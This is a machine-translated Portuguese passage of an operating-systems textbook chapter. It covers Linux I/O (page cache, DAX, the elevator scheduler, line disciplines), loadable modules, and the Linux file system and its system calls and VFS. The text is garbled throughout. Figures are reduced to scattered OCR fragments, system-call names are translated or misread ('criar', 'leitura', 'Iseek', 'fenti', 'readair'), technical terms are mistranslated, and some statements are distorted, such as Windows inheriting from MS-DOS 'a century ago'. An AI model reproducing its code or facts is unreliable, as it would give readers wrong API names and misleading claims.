entre setores de disco, blocos, buffers e páginas de dados e permite as operações neles. 

O cache é uma tabela no kernel que armazena milhares dos blocos usados mais recentemente. 
Quando um bloco é necessário de um disco por qualquer motivo (i-node, diretório ou dados), 
primeiro é feita uma verificação para ver se ele está no cache. Se estiver presente no cache, o 
bloco é retirado de lá e o acesso ao disco é evitado, resultando em grandes melhorias no 
desempenho do sistema. 


Sistema de arquivos virtuais | 


| 
O 


Sistema de arquivos 1 FS 2 


Arquivo Bloquear Arquivo Soquete de 


especial char 


E E --}------- ge 


(Linha opcional 


p= 1 
| [l 
| | 
| I 
| normal arquivo especial de rede I 
| | 
| | 
| I 


Drivers de 


Agendador de E/$ Agendador de E/$ 
protocolo 


disciplina) 


Bloquear Bloquear Driver Driver de 


driver de driver de de dispositivo 


dispositivo dispositivo dispositivo Char de rede 


Figura 10-22. O sistema de E/S Linux mostrando um sistema de arquivos em detalhes. 


Se o bloco não estiver no cache da página, ele será lido do disco para o cache e de lá copiado 
para onde for necessário. Como o cache de páginas tem espaço apenas para um número fixo de 
blocos, o algoritmo de substituição de páginas descrito na seção anterior é invocado. 


O cache de página funciona tanto para gravações quanto para leituras. Quando um programa 
escreve um bloco, ele vai para o cache, não para o disco. Os threads de trabalho do kernel 
liberarão o bloco para o disco caso o cache cresça acima de um valor especificado. Além de 
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evite que os blocos permaneçam muito tempo no cache antes de serem gravados no disco, todos 
blocos sujos são gravados no disco a cada 30 segundos. 

Novos tipos de dispositivos de armazenamento são semelhantes à memória, pois podem ser acessados 
mais rapidamente e com granularidade de bloco menor (mesmo alguns bytes ou um cacheline). Em 
nesses casos, movendo dados para dentro e para fora entre o dispositivo de armazenamento e um dispositivo na memória 
cache é um exagero. A partir do kernel 4.0, o Linux suporta DAX (Direct 
Acesso para arquivos). Com o DAX, o cache é removido e as leituras e gravações são emitidas diretamente para 
o dispositivo de armazenamento. 

Para reduzir a latência de movimentos repetitivos da cabeça do disco ou de movimentos aleatórios 
Acessos de E/S em geral, o Linux depende de um agendador de E/S. Seu objetivo é reordenar 
ou agrupar solicitações de leitura/gravação para bloquear dispositivos. Existem muitas variantes do agendador, 
otimizado para diferentes tipos de cargas de trabalho. O agendador básico do Linux é baseado em 
o agendador de elevador original do Linux. As operações do programador de elevador 
pode ser resumido da seguinte forma: as operações de disco são classificadas em uma lista duplamente vinculada, 
ordenado pelo endereço do setor da solicitação do disco. Novas solicitações são inseridas 
nesta lista de forma ordenada. Isto evita movimentos repetidos e dispendiosos da cabeça do disco. 
A lista de solicitações é posteriormente mesclada para que as operações adjacentes sejam emitidas por meio de um 
solicitação de disco único. O programador básico do elevador pode levar à fome. Portanto, 
a versão revisada do agendador de disco do Linux inclui duas listas adicionais, mantendo as operações de leitura 
ou gravação ordenadas por seus prazos. Os prazos padrão 
são 0,5 segundos para leituras e 5 segundos para gravações. Se um prazo definido pelo sistema para a operação 
de gravação mais antiga estiver prestes a expirar, essa solicitação de gravação será atendida antes de qualquer 
das solicitações da lista duplamente vinculada principal. 

Além dos arquivos normais do disco, também existem arquivos especiais de bloco, às vezes 
chamados arquivos de bloco brutos. Esses arquivos permitem que programas acessem o disco usando números 
de bloco absolutos, independentemente do sistema de arquivos. Eles são mais frequentemente usados para 
coisas como paginação e manutenção do sistema. 

A interação com dispositivos de personagens é simples. Como os dispositivos de caracteres produzem ou 
consomem fluxos de caracteres ou bytes de dados, o suporte para acesso aleatório 
faz pouco sentido. Uma exceção é o uso de disciplinas lineares. Uma disciplina de linha 
pode ser associado a um dispositivo terminal, representado através da estrutura tty struct, 
e representa um intérprete para os dados trocados com o dispositivo terminal. Para 
Por exemplo, a edição de linha local pode ser feita (ou seja, caracteres e linhas apagados podem ser 
removido), os retornos de carro podem ser mapeados em feeds de linha e outros processamentos especiais podem 
ser concluídos. Entretanto, se um processo quiser interagir em cada caractere, ele poderá colocar a linha em modo 


bruto, caso em que a disciplina de linha será ignorada. Nem todos os dispositivos possuem disciplinas de linha. 


A saída funciona de maneira semelhante, expandindo tabulações em espaços, convertendo feeds de linha 
para retornos de carro + avanços de linha, adicionando caracteres de preenchimento após retornos de carro 
em terminais mecânicos lentos e assim por diante. Assim como a entrada, a saída pode passar pela linha 
disciplina (modo cozido) ou ignorá-lo (modo cru). O modo Raw é especialmente útil 


ao enviar dados binários para outros computadores através de uma linha serial e para GUIs. Aqui, 
nenhuma conversão é desejada. 


Machine Translated by Google 


SEC. 10,5 ENTRADA/SAÍDA NO LINUX 765 


A interação com dispositivos de rede é diferente. Embora os dispositivos de rede também 


produzam/consumam fluxos de caracteres, sua natureza assíncrona os torna menos adequados para 
fácil integração na mesma interface que outros dispositivos de caracteres. 

O driver do dispositivo de rede produz pacotes que consistem em vários bytes de dados, juntamente 

com cabeçalhos de rede. Esses pacotes são então roteados através de uma série de drivers de protocolo 
de rede e, por fim, são passados para o aplicativo do espaço do usuário. Uma estrutura de dados chave 
é a estrutura de buffer de soquete, skbuff, que é usada para representar porções de memória preenchidas 
com dados de pacotes. Os dados em um buffer skbuff nem sempre começam no início do buffer. À 
medida que são processados por vários protocolos na pilha de rede, os cabeçalhos de protocolo podem 
ser removidos ou adicionados. Os processos do usuário interagem com dispositivos de rede por meio 

de soquetes, que no Linux suportam a API de soquete BSD original. Os drivers de protocolo podem ser 
ignorados e o acesso direto ao dispositivo de rede subjacente é habilitado por meio de soquetes brutos. 
Somente o superusuário tem permissão para criar soquetes brutos. 


10.5.5 Módulos no Linux 


Durante décadas, os drivers de dispositivos UNIX foram vinculados estaticamente ao kernel, de 
modo que todos estavam presentes na memória sempre que o sistema era inicializado. Dado o 
ambiente em que o UNIX cresceu, geralmente minicomputadores departamentais e depois estações de 
trabalho de ponta, com seus conjuntos pequenos e imutáveis de dispositivos de E/S, esse esquema 
funcionou bem. Basicamente, um centro de informática construiu um kernel contendo drivers para os 
dispositivos de E/S que ele realmente possuía e pronto. Se no próximo ano o centro comprasse um novo 
disco, ele religaria o kernel. Nada demais. 

Com a chegada do Linux à plataforma PC, tudo isso mudou repentinamente. O número de 
dispositivos de E/S disponíveis no PC é muito maior do que em qualquer minicomputador. Além disso, 
embora todos os usuários do Linux tenham (ou possam obter facilmente) o código-fonte completo, 
provavelmente a grande maioria teria dificuldade considerável em adicionar um driver, atualizar todas as 
estruturas de dados relacionadas ao driver de dispositivo, vincular novamente o kernel e depois instalá- 
lo como o sistema inicializável (sem mencionar como lidar com as consequências da construção de um 
kernel que não inicializa). 

O Linux resolveu este problema com o conceito de módulos carregáveis. Esses são pedaços de 
código que podem ser carregados no kernel enquanto o sistema está em execução. Mais comumente, 
são drivers de dispositivos de caracteres ou blocos, mas também podem ser sistemas de arquivos 
inteiros, protocolos de rede, ferramentas de monitoramento de desempenho ou qualquer outra coisa 
desejada. 

Quando um módulo é carregado, várias coisas acontecem. Primeiro, o módulo deve ser realocado 
rapidamente, durante o carregamento. Segundo, o sistema precisa verificar se os recursos de que o 
driver necessita estão disponíveis (por exemplo, níveis de solicitação de interrupção) e, em caso 
afirmativo, marcá-los como em uso. Terceiro, quaisquer vetores de interrupção necessários devem ser configurados. 
Quarto, a tabela de opções de driver apropriada deve ser atualizada para lidar com o novo tipo de 
dispositivo principal. Finalmente, o driver pode ser executado para realizar qualquer inicialização 
específica do dispositivo que possa ser necessária. Depois que todas essas etapas forem concluídas, o driver será 
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totalmente instalado, o mesmo que qualquer driver instalado estaticamente. Outros sistemas UNIX 
modernos agora também suportam módulos carregáveis. 

Vale a pena notar que os módulos carregáveis são um pesadelo de segurança. Colocar um pedaço 
de código estrangeiro que pode ou não ter sido examinado cuidadosamente e que pode conter falhas de 
segurança e backdoors no kernel pode criar enormes problemas de segurança. Módulos carregáveis só 
devem ser obtidos de uma fonte conhecida como totalmente confiável. 


10.6 O SISTEMA DE ARQUIVOS LINUX 


A parte mais visível de qualquer sistema operacional, incluindo o Linux, é o sistema de arquivos. 
Nas seções a seguir, examinaremos as ideias básicas por trás do sistema de arquivos Linux, as chamadas 
do sistema e como o sistema de arquivos é implementado. Algumas dessas ideias derivam do MULTICS 
e muitas delas foram copiadas pelo MS DOS, Windows e outros sistemas, mas outras são exclusivas 
dos sistemas baseados em UNIX. 
O design do Linux é especialmente interessante porque ilustra claramente o princípio de Small is Beautiful. 
Com um mecanismo mínimo e um número muito limitado de chamadas de sistema, o Linux fornece um 
sistema de arquivos poderoso e elegante. 


10.6.1 Conceitos Fundamentais 


O sistema de arquivos Linux inicial foi o sistema de arquivos MINIX 1. No entanto, como limitava os 
nomes dos arquivos a 14 caracteres (para ser compatível com o UNIX versão 7) e seu tamanho máximo 
de arquivo era de 64 MB (o que era um exagero nos discos rígidos de 10 MB de sua época), havia 
interesse em melhorar sistemas de arquivos quase desde o início do desenvolvimento do Linux, que 
começou cerca de 5 anos após o lançamento do MINIX 1. 

A primeira melhoria foi o sistema de arquivos ext, que permitia nomes de arquivos de 255 caracteres e 
arquivos de 2 GB, mas era mais lento que o sistema de arquivos MINIX 1, então a busca continuou por 
um tempo. Eventualmente, o sistema de arquivos ext2 foi inventado, com nomes de arquivos longos, 
arquivos longos e melhor desempenho, e se tornou o sistema de arquivos principal. No entanto, o Linux 
suporta dezenas de sistemas de arquivos usando a camada Virtual File System (VFS) (descrita na 
próxima seção). Quando o Linux está vinculado, é oferecida a escolha de quais sistemas de arquivos 
devem ser integrados ao kernel. Outros podem ser carregados dinamicamente como módulos durante a 
execução, se necessário. 

Um arquivo Linux é uma sequência de O ou mais bytes contendo informações arbitrárias. 

Nenhuma distinção é feita entre arquivos ASCII, arquivos binários ou qualquer outro tipo de arquivo. O 
significado dos bits em um arquivo depende inteiramente do proprietário do arquivo. O sistema não se 
importa. Os nomes de arquivos são limitados a 255 caracteres, e todos os caracteres ASCII, exceto 

NUL, são permitidos em nomes de arquivos, portanto, um nome de arquivo que consiste em três retornos 
de carro é um nome de arquivo legal (mas não especialmente conveniente). 

Por convenção, muitos programas (por exemplo, compiladores) esperam que os nomes dos arquivos 
consistam em um nome base e uma extensão, separados por um ponto (que conta como um 
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personagem). Assim, prog.c é tipicamente um programa C, prog.py é tipicamente um programa Python e prog.o é 
geralmente um arquivo objeto (saída do compilador). Estas convenções são 
não aplicado pelo sistema operacional, mas por alguns compiladores e outros programas 
espere por eles. As extensões podem ter qualquer tamanho e os arquivos podem ter múltiplas extensões, como 
em prog.java.gz, que provavelmente é um programa Java compactado com gzip . 

Os arquivos podem ser agrupados em diretórios por conveniência. Os diretórios são 
armazenados como arquivos e, em grande medida, podem ser tratados como arquivos. Os diretórios podem conter 
subdiretórios, levando a um sistema de arquivos hierárquico. O diretório raiz é cnamado / 
e sempre contém vários subdiretórios. O caractere / também é usado para separar 
nomes de diretórios, de modo que o nome /usr/ast/x denote o arquivo x localizado no diretório ast, que por sua 
vez está no diretório /usr . Alguns dos principais diretórios próximos ao 
topo da árvore são mostrados na Figura 10-23. 


Diretor e bin Conteúdo 


Programas binários (executáveis) 


Arquivos especiais para dispositivos de E/S 


etc. Diversos arquivos de sistema 
Bibliotecas 
usr Diretores de usuários 


Figura 10-23. Alguns diretórios importantes encontrados na maioria dos sistemas Linux. 


Existem duas maneiras de especificar nomes de arquivos no Linux, tanto para o shell quanto para quando 
abrir um arquivo de dentro de um programa. A primeira maneira é por meio de um valor absoluto 
path, o que significa dizer como chegar ao arquivo começando no diretório raiz. Um 
um exemplo de caminho absoluto é /usr/ast/books/mos5/chap-10. Isto diz ao sistema 
procurar no diretório raiz por um diretório chamado usr e, em seguida, procurar outro 
diretório, ast. Por sua vez, este diretório contém um diretório books, que contém o 
diretório mos5, que contém o arquivo chap-10. 
Nomes de caminhos absolutos costumam ser longos e inconvenientes. Por esta razão, Linux 
permite que usuários e processos designem o diretório em que estão atualmente 
trabalhando como o diretório de trabalho. Os nomes dos caminhos também podem ser especificados em relação a 
o diretório de trabalho. Um nome de caminho especificado em relação ao diretório de trabalho é um 


caminho relativo. Por exemplo, se /usr/ast/books/mos5 for o diretório de trabalho, então 
o comando shell 


cp capítulo-10 backup-10 
tem exatamente o mesmo efeito que o comando mais longo 
cp /usr/ast/books/mos5/chap-10 /usr/ast/books/mos5/backup-1 0 


Frequentemente ocorre que um usuário precisa se referir a um arquivo que pertence a outro 
usuário, ou pelo menos está localizado em outro lugar na árvore de arquivos. Por exemplo, se dois usuários estiverem 


compartilhando um arquivo, ele estará localizado em um diretório pertencente a um deles, então o 
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outro terá que usar um nome de caminho absoluto para se referir a ele (ou alterar o diretório de 
trabalho). Se for longo o suficiente, pode ser irritante ter que continuar digitando. O Linux fornece 
uma solução ao permitir que os usuários criem uma nova entrada de diretório que aponte para 
um arquivo existente. Essa entrada é chamada de link. 

Como exemplo, considere a situação da Figura 10.24(a). Aron e Nathan estão trabalhando 
juntos em um projeto e cada um deles precisa de acesso aos arquivos do outro. Se Aron tiver / 
usr/ aron como seu diretório de trabalho, ele poderá se referir ao arquivo x no diretório de Nathan 
como /usr/nathan/x. Alternativamente, Aron pode criar uma nova entrada em seu diretório, 
como mostrado na Figura 10.24(b), após a qual ele pode usar x para significar /usr/nathan/x. 


Aaron natan Aaron natan 


a 
b Link 
c 
X 


(a) (b) 
Figura 10-24. (a) Antes de vincular. (b) Após a vinculação. 


No exemplo que acabamos de discutir, sugerimos que antes de vincular, a única maneira 
de Aron se referir ao arquivo x de Nathan seria usando seu caminho absoluto. Na verdade, isso 
não é verdade. Quando um diretório é criado, duas entradas, . e são feitos. automaticamente 
nele. O primeiro refere-se ao próprio diretório de trabalho. Este último refere-se ao pai do 
diretório, ou seja, o diretório no qual ele está listado. Assim, de /usr/aron, outro caminho para o 
arquivo x de Nathan é .. /nathan/x . 

Além dos arquivos regulares, o Linux também suporta arquivos especiais de caracteres e 
arquivos especiais de bloco. Arquivos especiais de caracteres são usados para modelar 
dispositivos de E/S seriais, como teclados e impressoras. Abrindo e lendo /dev/tty Iê do teclado; 
abrir e gravar em /dev/lp grava na impressora. Arquivos especiais de bloco, geralmente com 
nomes como /dev/hd1, podem ser usados para ler e gravar partições brutas de disco, 
independentemente do sistema de arquivos. Assim, uma busca pelo byte k seguida por uma 
leitura começará a leitura do k-ésimo byte na partição correspondente, ignorando completamente 
o nó i e a estrutura do arquivo. Dispositivos de bloco brutos são usados para paginação e ping 
de troca por programas que estabelecem sistemas de arquivos (por exemplo, mkfs) e por 
programas que consertam sistemas de arquivos doentes (por exemplo, fsck) . 

Muitos computadores possuem dois ou mais discos. Em mainframes de bancos, por 
exemplo, é frequentemente necessário ter 100 ou mais discos em uma única máquina, em 
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para manter os enormes bancos de dados necessários. Os computadores pessoais podem ter um 
disco interno ou SSD e uma unidade USB externa para backups. Quando há vários 
unidades de disco, surge a questão de como lidar com elas. 

Uma solução é colocar um sistema de arquivos independente em cada um e apenas manter 
eles separados. Considere, por exemplo, a situação mostrada na Figura 10.25(a). Aqui 
temos um disco rígido, que chamamos de C:, e um drive externo USB, que chamamos de D:. 
Cada um tem seu próprio diretório raiz e arquivos. Com esta solução, o usuário deve especificar 
tanto o dispositivo quanto o arquivo quando for necessário algo diferente do padrão. Para 
Por exemplo, para copiar um arquivo x para um diretório d (assumindo que C: é o padrão), seria 
tipo 


cpD:/x /a/d/x 


Esta é a abordagem adoptada por vários sistemas, incluindo o Windows, que 
herdado do MS-DOS há um século. 


Disco rígido Disco rígido 


Figura 10-25. (a) Sistemas de arquivos separados. (b) Após a montagem. 


A solução do Linux é permitir que um disco seja montado no arquivo de outro disco 


árvore. Em nosso exemplo, poderíamos montar a unidade USB no diretório /b, resultando 
o sistema de arquivos da Figura 10.25(b). O usuário agora vê uma única árvore de arquivos e não mais 


precisa estar ciente de qual arquivo reside em qual dispositivo. O comando de cópia acima 
agora se torna 


cp /b/x /a/d/x 


exatamente o mesmo que teria sido se tudo estivesse no disco rígido em 
o primeiro lugar. 

Outra propriedade interessante do sistema de arquivos Linux é o bloqueio. Em alguns 
aplicativos, dois ou mais processos podem estar usando o mesmo arquivo ao mesmo tempo, 
o que pode levar a condições de corrida. Uma solução é programar a aplicação com 
regiões críticas. Porém, se os processos pertencerem a usuários independentes que não 
mesmo que nos conheçamos, este tipo de coordenação é geralmente inconveniente. 
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Considere, por exemplo, um banco de dados que consiste em muitos arquivos em um ou mais 
diretórios que são acessados por usuários não relacionados. Certamente é possível associar um semáforo 
a cada diretório ou arquivo e obter exclusão mútua fazendo com que os processos executem uma 
operação inativa no semáforo apropriado antes de acessar os dados. A desvantagem, entretanto, é que 
um diretório ou arquivo inteiro fica inacessível, mesmo que apenas um registro possa ser necessário. 


Por esse motivo, o POSIX fornece um mecanismo flexível e refinado para que os processos 
bloqueiem apenas um único byte e até um arquivo inteiro em uma operação indivisível. O mecanismo de 
bloqueio exige que o chamador especifique o arquivo a ser bloqueado, o byte inicial e o número de bytes. 
Se a operação for bem-sucedida, o sistema cria uma entrada na tabela informando que os bytes em 
questão (por exemplo, um registro do banco de dados) estão bloqueados. 


São fornecidos dois tipos de fechaduras, fechaduras compartilhadas e fechaduras exclusivas. 
Se uma parte de um arquivo já contiver um bloqueio compartilhado, uma segunda tentativa de colocar um 
bloqueio compartilhado será permitida, mas uma tentativa de colocar um bloqueio exclusivo falhará. Se 
uma parte de um arquivo contiver um bloqueio exclusivo, todas as tentativas de bloquear qualquer parte 
dessa parte falharão até que o bloqueio seja liberado. Para colocar um bloqueio com sucesso, cada byte 
na região a ser bloqueada deve estar disponível. 

Ao colocar um bloqueio, um processo deve especificar se deseja bloquear ou não caso o bloqueio 
não possa ser colocado. Se optar por bloquear, quando o bloqueio existente for removido, o processo é 
desbloqueado e o bloqueio é colocado. Se o processo optar por não bloquear quando não puder colocar 
um bloqueio, a chamada do sistema retornará imediatamente, com o código de status informando se o 
bloqueio foi bem-sucedido ou não. Caso contrário, o chamador deverá decidir o que fazer em seguida 
(por exemplo, esperar e tentar novamente). 

As regiões bloqueadas podem se sobrepor. Na Figura 10.26(a), vemos que o processo A colocou 
um bloqueio compartilhado nos bytes 4 a 7 de algum arquivo. Posteriormente, o processo B coloca um 
bloqueio compartilhado nos bytes 6 a 9, como mostrado na Figura 10.26(b). Finalmente, C bloqueia os 
bytes 2 a 11. Desde que todos esses bloqueios sejam compartilhados, eles podem coexistir. 

Agora considere o que acontece se um processo tentar adquirir um bloqueio exclusivo para o byte 9 
do arquivo da Figura 10.26(c), com uma solicitação para bloquear se o bloqueio falhar. Como dois 


bloqueios anteriores cobrem esse bloqueio, o cnamador bloqueará e permanecerá bloqueado até que B 
e C liberem seus bloqueios. 


10.6.2 Chamadas do sistema de arquivos no Linux 


Muitas chamadas do sistema estão relacionadas a arquivos e ao sistema de arquivos. Primeiro 
veremos as chamadas de sistema que operam em arquivos individuais. Posteriormente examinaremos 
aqueles que envolvem diretórios ou o sistema de arquivos como um todo. Para criar um novo arquivo, a 
chamada create pode ser usada. (Quando perguntaram a Ken Thompson o que ele faria de diferente se 
tivesse a chance de reinventar o UNIX, ele respondeu que dessa vez escreveria create como create .) 


Os parâmetros fornecem o nome do arquivo e o modo de proteção. 
Por isso 


fd = criar("abc", modo); 
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Processo A 


compartilhado 


trancar 


Bloqueio compartilhado de A 


A ES a 
o l Paa e d 


Bloqueio compartilhado de B 


Bloqueio compartilhado de C 


Figura 10-26. (a) Um arquivo com um bloqueio. (b) Adicionando um segundo bloqueio. (c) Um terceiro. 


cria um arquivo chamado abc com os bits de proteção retirados do modo. Esses bits determinam quais 
usuários podem acessar o arquivo e como. Eles serão descritos mais tarde. 
A chamada create não apenas cria um novo arquivo, mas também o abre para gravação. Para 
permitir que chamadas de sistema subsequentes acessem o arquivo, uma criação bem-sucedida retornará um pequeno 
inteiro não negativo chamado descritor de arquivo, fd no exemplo acima. Se um criador for 
feito em um arquivo existente, esse arquivo é truncado para comprimento 0 e seu conteúdo é descartado. 
Além disso, arquivos também podem ser criados usando a chamada aberta com os devidos 
argumentos. 
Agora vamos continuar examinando as principais chamadas do sistema de arquivos, listadas em 
Figura 10-27. Para ler ou escrever um arquivo existente, o arquivo deve primeiro ser aberto chamando 
abrir ou criar. Esta chamada especifica o nome do arquivo a ser aberto e como deve ser 
aberto: para leitura, escrita ou ambos. Várias opções também podem ser especificadas. 
Assim como create, a chamada para open retorna um descritor de arquivo que pode ser usado para leitura ou 
escrita. Posteriormente, o arquivo pode ser fechado , o que torna o descritor de arquivo 
disponível para reutilização em uma criação ou abertura subsequente. Tanto as chamadas de criação quanto as abertas 
sempre retorne o descritor de arquivo de menor número que não está em uso no momento. 
Quando um programa começa a ser executado da maneira padrão, os descritores de arquivo 0, 1 e 
2 já estão abertos para entrada padrão, saída padrão e erro padrão, 
respectivamente. Desta forma, um filtro, como o programa sort , pode apenas ler sua entrada 
do descritor de arquivo 0 e gravar sua saída no descritor de arquivo 1, sem precisar 
saiba quais arquivos eles são. Este mecanismo funciona porque o shell organiza 
esses valores para se referir aos arquivos corretos (redirecionados) antes do programa ser iniciado. 


Machine Translated by Google 


772 ESTUDO DE CASO 1: UNIX, LINUX E ANDROID INDIVÍDUO. 10 
Chamada de Descrição 
sistema fd = criar(nome, modo) Uma maneira de criar um novo arquivo 
fd = abrir(arquivo, como, ...) s Abra um arquivo para leitura, gravação ou ambos 
= fechar(fd) n = Fechar um arquivo aberto 
ler(fd, buffer, nbytes) n = escrever(fd, Ler dados de um arquivo em um buffer 
buffer, nbytes) posição = Iseek(fd, Gravar dados de um buffer em um arquivo 


offset, where) Move o ponteiro do arquivo 


s = stat(nome, &buf) s = Obtenha informações de status de um arquivo 
fstat(fd, &buf) s = Obtenha informações de status de um arquivo 
pipe(&fd[0]) s = Crie um tubo 

fenti(fd, cmd, ...) Bloqueio de arquivos e outras operações 


Figura 10-27. Algumas chamadas de sistema relacionadas a arquivos. O código de retorno s é 1 se um 
Um erro ocorreu; fd é um descritor de arquivo e position é um deslocamento de arquivo. Os parâmetros 
devem ser autoexplicativos. 


As chamadas mais utilizadas são, sem dúvida, de leitura e escrita. Cada um tem 
três parâmetros: um descritor de arquivo (indicando qual arquivo aberto ler ou gravar), um buffer 
endereço (informando onde colocar os dados ou de onde obtê-los) e uma contagem (informando 
quantos bytes transferir). Isso é tudo que existe. É um design muito simples. Uma chamada típica é 


n = leitura(fd, buffer, nbytes); 


Embora quase todos os programas leiam e gravem arquivos sequencialmente, alguns programas 
precisa ser capaz de acessar qualquer parte de um arquivo aleatoriamente. Associado a cada arquivo está um 
ponteiro que indica a posição atual no arquivo. Ao ler (ou escrever) 
sequencialmente, normalmente aponta para o próximo byte a ser lido (escrito). Se o ponteiro 
está em, digamos, 4096, antes de 1024 bytes serem lidos, ele será movido automaticamente para 5120 
após uma chamada de sistema de leitura bem-sucedida. A chamada Iseek altera o valor da posição 
ponteiro, para que as chamadas subsequentes para leitura ou escrita possam começar em qualquer lugar do arquivo, ou 
mesmo além do fim. É chamado Iseek para evitar conflito com seek, uma chamada agora obsoleta que era 
usada anteriormente em computadores de 16 bits para busca. 

Lseek possui três parâmetros: o primeiro é o descritor de arquivo do arquivo; o 
a segunda é uma posição de arquivo; o terceiro informa se a posição do arquivo é relativa ao 
início do arquivo, a posição atual ou o final do arquivo. O valor retornado 
por Iseek é a posição absoluta no arquivo após a alteração do ponteiro do arquivo. Um pouco 
ironicamente, Iseek é a única chamada do sistema de arquivos que nunca causa uma operação real no disco 
porque tudo o que ele faz é atualizar a posição atual do arquivo, que é um número na memória. 


Para cada arquivo, o Linux monitora o modo do arquivo (regular, diretório, especial). 
arquivo), tamanho, hora da última modificação e outras informações. Os programas podem pedir para ver 
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essas informações por meio da chamada do sistema stat . O primeiro parâmetro é o nome do arquivo. O 
segundo é um ponteiro para uma estrutura onde as informações solicitadas serão colocadas. Os campos da 
estrutura são mostrados na Figura 10.28. A chamada fstat é igual a stat , exceto que opera em um arquivo 


aberto (cujo nome pode não ser conhecido) em vez de em um nome de caminho. 


Dispositivo em que o arquivo está 


Número do nó | (qual arquivo no dispositivo) 


Modo de arquivo (inclui informações de proteção) 


Número de links para o arquivo 


Identidade do proprietário do arquivo 


Grupo ao qual o arquivo pertence 


Tamanho do arquivo (em bytes) 


Hora de criação 


Hora do último acesso 


Hora da última modificação 


Figura 10-28. Os campos retornados pela chamada do sistema stat. 


A chamada do sistema pipe é usada para criar pipelines de shell. Ele cria uma espécie de pseudoarquivo, 
que armazena em buffer os dados entre os componentes do pipeline e retorna descritores de arquivo para leitura 
e gravação do buffer. Em um pipeline como 


classificar <in | cabeça —30 


o descritor de arquivo 1 (saída padrão) no processo em execução sort seria definido (pelo shell) para gravar no 
canal, e o descritor de arquivo O (entrada padrão) no processo em execução ning head seria definido para ler 
no canal. Desta forma, sort apenas lê do descritor de arquivo O (definido para o arquivo in) e grava no descritor 
de arquivo 1 (o pipe) sem nem mesmo saber que estes foram redirecionados. Se eles não tiverem sido 
redirecionados, o sort irá ler automaticamente no teclado e escrever na tela (os dispositivos padrão). Da mesma 
forma, quando head lê o descritor de arquivo 0, ele está lendo a classificação de dados colocada no buffer do 
pipe, mesmo sem saber que um pipe está em uso. Este é um exemplo claro de como um conceito simples 
(redirecionamento) com uma implementação simples (descritores de arquivo O e 1) pode levar a uma ferramenta 


poderosa (conectando programas de maneiras arbitrárias sem precisar modificá-los). 


A última chamada de sistema na Figura 10.27 é fentl. É usado para bloquear e desbloquear arquivos, 
aplique bloqueios compartilhados ou exclusivos e execute algumas outras operações específicas de arquivo. 

Agora vamos dar uma olhada em algumas chamadas de sistema que estão mais relacionadas a diretórios 
ou ao sistema de arquivos como um todo, em vez de apenas a um arquivo específico. Alguns dos mais comuns 
estão listados na Figura 10.29. Os diretórios são criados e destruídos usando mkdir e rmdir, respectivamente. 


Um diretório só pode ser removido se estiver vazio. 
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Chamada do sistema Descrição 
s = mkdir(caminho, modo) Crie um novo diretor y 
s = rmdir(caminho) Remover um diretor y 


s = link(oldpath, newpath) Cria um link para um arquivo existente 


s = desvincular (caminho) Desvincular um arquivo 

s = chdir(caminho) Mude o diretor de trabalho 

dir = opendir(caminho) Abra um diretório para leitura 

s = closedir(dir) Fechar um diretor y 

dirent = readair(dir) Leia uma entrada de diretório 

rewindair(dir) Retroceder um diretório para que possa ser relido 


Figura 10-29. Algumas chamadas de sistema relacionadas a diretórios. O código de retorno s é 1 
se ocorreu um erro; dir identifica um fluxo de diretório e dirent é um diretório 
entrada. Os parâmetros devem ser autoexplicativos. 


Como vimos na Figura 10.24, vincular a um arquivo cria uma nova entrada de diretório que 
aponta para um arquivo existente. A chamada do sistema link cria o link. Os parâmetros especificam os 
nomes originais e novos, respectivamente. As entradas do diretório são removidas com 
desvincular. Quando o último link para um arquivo for removido, o arquivo será excluído automaticamente. Para 
um arquivo que nunca foi vinculado, a primeira desvinculação fará com que ele desapareça. 

O diretório de trabalho é alterado pela chamada do sistema chdir . Fazer isso tem o 
efeito de alterar a interpretação de nomes de caminhos relativos. 

As últimas quatro chamadas da Figura 10.29 são para leitura de diretórios. Eles podem ser abertos, 
fechados e lidos, de forma análoga aos arquivos comuns. Cada chamada para readdir retorna exatamente 
uma entrada de diretório em um formato fixo. Não há como os usuários escreverem em um 
diretório (para manter a integridade do sistema de arquivos). Arquivos podem ser adicionados 
para um diretório usando create ou link e removido usando unlink. Também não há como 
procure um arquivo específico em um diretório, mas rewinddir permite que um diretório aberto seja 
leia novamente desde o início. 


10.6.3 Implementação do Sistema de Arquivos Linux 


Nesta seção, veremos primeiro as abstrações suportadas pelo Virtual 
Camada do sistema de arquivos. O VFS oculta dos processos e aplicações de nível superior o 
diferenças entre muitos tipos de sistemas de arquivos suportados pelo Linux, sejam eles 
residem em dispositivos locais ou são armazenados remotamente e precisam ser acessados por 
a rede. Dispositivos e outros arquivos especiais também são acessados através do VFS 
camada. A seguir, descreveremos a implementação do primeiro arquivo Linux difundido 
system, ext2 ou o segundo sistema de arquivos estendido. Depois discutiremos o 
melhorias no sistema de arquivos ext4. Uma grande variedade de outros sistemas de arquivos também são 
em uso. Todos os sistemas Linux podem lidar com múltiplas partições de disco, cada uma com uma configuração diferente. 


sistema de arquivos nele. 
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O sistema de arquivos virtuais Linux 


Para permitir que as aplicações interajam com diferentes sistemas de arquivos, implementados em 
diferentes tipos de dispositivos locais ou remotos, o Linux adota uma abordagem utilizada 
em outros sistemas UNIX: o Virtual File System (VFS). VFS define um conjunto de princípios básicos 
abstrações de sistema de arquivos e as operações que são permitidas nessas abstrações. As invocações 
das chamadas do sistema descritas na seção anterior acessam o 
Estruturas de dados VFS, determine o sistema de arquivos exato onde o arquivo acessado 
pertence e, por meio de ponteiros de função armazenados nas estruturas de dados VFS, invoca a 
operação correspondente no sistema de arquivos especificado. 

A Figura 10-30 resume as quatro principais estruturas de sistema de arquivos suportadas pelo 
VFS. O superbloco contém informações críticas sobre o layout do sistema de arquivos. A destruição do 
superbloco tornará o sistema de arquivos ilegível. Os nós i (abreviação de nós de índice, mas nunca 
chamados assim, embora algumas pessoas preguiçosas 
elimine o hífen e chame-os de inodes) cada um descreve exatamente um arquivo. Observe que em 
Linux, diretórios e dispositivos também são representados como arquivos, portanto terão i-nodes 
correspondentes. Tanto os superblocos quanto os i-nodes têm uma estrutura correspondente 
mantido no disco físico onde reside o sistema de arquivos. 


Objeto Descrição Operação 
Sistema de arquivos específico do Superblock leia inode, sincronize fs 
Dentr y diretório y entrada y, componente único de um caminho d comparar, d excluir 
nó l arquivo criar, vincular 
Arquivo específico abrir arquivo associado a um processo ler escrever 


Figura 10-30. Abstrações de sistema de arquivos suportadas pelo VFS. 


Para facilitar certas operações de diretório e travessias de caminhos, tais 
como /usr/ast/bin, o VFS suporta uma estrutura de dados dentry que representa um diretório 
entrada. Essa estrutura de dados é criada pelo sistema de arquivos dinamicamente. Entradas de diretório 
